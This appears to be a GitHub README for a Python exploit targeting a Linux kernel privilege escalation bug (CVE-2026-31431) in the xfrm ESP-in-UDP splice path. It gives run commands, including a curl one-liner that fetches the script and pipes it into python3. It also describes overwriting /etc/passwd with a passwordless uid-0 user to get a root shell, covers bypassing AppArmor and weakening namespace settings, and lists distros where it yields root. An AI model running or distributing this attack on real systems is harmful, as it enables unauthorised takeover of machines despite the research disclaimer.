
Python implementation of a Linux kernel local privilege escalation exploit for CVE-2026-31431, leveraging xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW to overwrite /etc/passwd and gain root.
Python port of the CopyFail2 kernel exploit leveraging xfrm ESP-in-UDP MSG_SPLICE_PAGES no-COW fast path for unprivileged Linux local privilege escalation.
Replaces a nologin/false entry in /etc/passwd with a passwordless uid-0 user and drops into a root shell via su.
The kernel bug resides in the UDP splice path used by xfrm ESP-in-UDP encapsulation. splice() into a UDP socket with MSG_SPLICE_PAGES causes pages to be mapped into the receiver's page cache without triggering copy-on-write. This allows writing into any file currently mapped in the page cache, even when opened read-only.
libcrypto.so (OpenSSL)CAP_NET_ADMIN or the ability to create user namespacesThis repo provides two variants. Both produce the same result; pick based on your constraints.
# One-liner via pipe
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"
# Saved file
python3 exploit.py
# Revert changes
python3 exploit.py --clean
python3 exploit_raw.py
python3 exploit_raw.py --clean
On Ubuntu with apparmor_restrict_unprivileged_userns enabled, save the file first and run from disk; the pipe mode skips the AppArmor bypass dance.
curl -sL ttps://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py
/etc/passwd byte into the desired value.127.0.0.1:4500.splice()s three ranges (ESP header, target byte from /etc/passwd, ICV) into a pipe.splice()s the pipe into the UDP socket, triggering the kernel bug and writing the byte into the page cache.nologin/false line with sick::0:0:...:/:/bin/bash.su - sick drops into root (PAM nullok accepts empty password).cannot acquire CAP_NET_ADMIN
Your kernel may have kernel.unprivileged_userns_clone=0. Enable it:
sudo sysctl kernel.unprivileged_userns_clone=1
If running inside Docker, start the container with --privileged or --cap-add=SYS_ADMIN.
This tool is provided for authorized security research and educational purposes only. Do not use against systems you do not own or have explicit permission to test. The authors assume no liability for misuse or damage caused by this software.
| File | Description | Speed | Use when |
|---|
exploit.py | Optimized — reuses xfrm state/sockets/pipe across mutations, batches 2 consecutive bytes per round, active polling instead of fixed sleep. | ~3–8 s for a 99-byte line | Default choice. Fast, stable, tested on multiple distros. |
exploit_raw.py | Reference — closest to the original C code. Recreates xfrm state, sockets, pipe and temp file for every single byte, fixed 200 ms sleep per mutation. | ~30–40 s for a 99-byte line | Use if you want the simplest possible code path for auditing, or if the optimized version misbehaves on a specific kernel build. |
| Distro | Kernel | Result |
|---|
| Ubuntu 24.04 LTS | 6.8.0-110-generic | root |
| Debian 13 | 6.12.74 | root |
| Arch | 6.19.11-arch1-1 | root |
| Fedora 43 | 6.19.14-200.fc43 | root |
| Ubuntu 26.04 LTS | 7.0.0-15-generic | root |
| Ubuntu 22.04 LTS | 5.15.0-176-generic | not vuln |